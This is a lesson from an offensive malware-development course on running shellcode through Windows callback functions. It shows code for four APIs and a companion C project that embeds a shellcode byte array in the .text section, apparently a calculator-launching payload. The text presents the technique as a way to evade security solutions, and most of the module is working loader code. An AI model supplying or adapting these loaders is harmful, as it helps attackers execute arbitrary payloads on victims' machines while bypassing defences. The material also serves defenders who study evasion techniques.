Callback Code Execution
Using a variety of callback functions to execute a payload.
Jump to Section (8)
Learning Objectives
0/2 doneIntroduction
Callback functions are used to handle events or to perform an action when a condition is met. They are used in a variety of scenarios in the Windows operating system, including event handling, window management, and multithreading. Microsoft's definition of a callback function is as follows:
A callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation.
Several ordinary Windows APIs possess the ability to execute payloads using callbacks. Using them provides a benefit against security solutions since these functions may appear benign and can potentially evade some security solutions.
Abusing Callback Functions
Windows callbacks can be executed using a function pointer. To run
the payload, the address of the payload must be passed instead of a
valid callback function pointer. Callback Execution can replace the use
of the CreateThread WinAPI and other thread-related
techniques for payload execution. Additionally, there is no need to use
the functions correctly by passing the appropriate parameters. The
return value or functionality of these functions is not of any concern.
One important point about callback functions is that they only work in the local process address space and cannot be used to perform remote code injection techniques.
Sample Callback Functions
The following functions are all capable of execution callback functions.
CreateTimerQueueTimer's 3rd parameter
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback, // here
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);
EnumChildWindows's 2nd parameter
BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc, // here
[in] LPARAM lParam
);
EnumUILanguagesW's 1st parameter
BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, // here
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);
VerifierEnumerateResource's 4th parameter
ULONG VerifierEnumerateResource(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, // here
PVOID EnumerationContext
);
The following sections will provide detailed explanations for each of
these functions. The payload used in the code samples is stored in the .text section of the binary. This allows the shellcode to have the required RX memory permissions without having to allocate executable memory using VirtualAlloc or other memory allocation functions.
Using CreateTimerQueueTimer
CreateTimerQueueTimer creates a new timer and adds it to
the specified timer queue. The timer is specified using a callback
function that is called when the timer expires. The callback function is
executed by the thread that created the timer queue.
The snippet below runs the code located at Payload as a callback function.
HANDLE hTimer = NULL;
if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
return -1;
}
Using EnumChildWindows
EnumChildWindows allows a program to enumerate the child
windows of a parent window. It takes a parent window handle as an input
and applies a user-defined callback function to each of the child
windows, one at a time. The callback function is called for each child
window, and it receives the child window handle and a user-defined value
as parameters.
The snippet below runs the code located at Payload as a callback function.
if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
return -1;
}
Using EnumUILanguagesW
EnumUILanguagesW enumerates the user interface (UI)
languages that are installed on the system. It takes a callback function
as a parameter and applies the callback function to each UI language,
one at a time. Note that any value instead of MUI_LANGUAGE_NAME flag still works.
The snippet below runs the code located at Payload as a callback function.
if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
return -1;
}
Using VerifierEnumerateResource
VerifierEnumerateResource is used to enumerate the
resources in a specified module. Resources are data that are stored in a
module (such as an executable or a dynamic-link library) and can be
accessed by the module or by other modules at runtime. Examples of
resources include strings, bitmaps, and dialog box templates.
VerifierEnumerateResource is exported from verifier.dll, therefore the module must be dynamically loaded using the LoadLibrary and GetProcAddress WinAPIs to access the function.
Note that if the ResourceType parameter is not equal to AvrfResourceHeapAllocation then the payload will not be executed. AvrfResourceHeapAllocation allows the function to enumerate heap allocation, including heap metadata blocks.
HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;
hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL){
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
// Must set the AvrfResourceHeapAllocation flag to run the payload
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);
Conclusion
This module reviewed several callback functions and demonstrated their usage for payload execution. Callback functions are only beneficial when the payload is running in the memory address space of the local process.
Microsoft's documentation page can be searched to discover additional callback functions. Additionally, a GitHub repository was created that contains a list of the most common callback functions.
Companion Project & Source Code
16 readable source/config files extracted directly from the archive
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#include <stdio.h>
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
HANDLE hTimer = NULL;
printf("[i] Payload At : 0x%p \n", Payload);
printf("[#] Press <Enter> To Run CreateTimerQueueTimer ... ");
getchar();
if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
return -1;
}
// wont reach this point of execution (the shellcode itself will terminate the process)
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Full Archive Manifest (20 files inside .zip)
- CreateTimerQueueTimer/CreateTimerQueueTimer.sln
- CreateTimerQueueTimer/CreateTimerQueueTimer/CreateTimerQueueTimer.c
- CreateTimerQueueTimer/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj
- CreateTimerQueueTimer/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj.filters
- CreateTimerQueueTimer/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj.user
- EnumChildWindows/EnumChildWindows.sln
- EnumChildWindows/EnumChildWindows/EnumChildWindows.c
- EnumChildWindows/EnumChildWindows/EnumChildWindows.vcxproj
- EnumChildWindows/EnumChildWindows/EnumChildWindows.vcxproj.filters
- EnumChildWindows/EnumChildWindows/EnumChildWindows.vcxproj.user
- EnumUILanguagesW/EnumUILanguagesW.sln
- EnumUILanguagesW/EnumUILanguagesW/EnumUILanguagesW.c
- EnumUILanguagesW/EnumUILanguagesW/EnumUILanguagesW.vcxproj
- EnumUILanguagesW/EnumUILanguagesW/EnumUILanguagesW.vcxproj.filters
- EnumUILanguagesW/EnumUILanguagesW/EnumUILanguagesW.vcxproj.user
- VerifierEnumerateResource/VerifierEnumerateResource.sln
- VerifierEnumerateResource/VerifierEnumerateResource/VerifierEnumerateResource.c
- VerifierEnumerateResource/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj
- VerifierEnumerateResource/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj.filters
- VerifierEnumerateResource/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj.user